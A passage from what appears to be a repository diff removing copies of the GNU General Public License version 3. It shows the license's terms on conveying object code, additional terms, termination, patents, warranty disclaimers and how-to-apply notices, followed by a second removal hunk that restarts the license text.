product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
@@ -1,674 +0,0 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
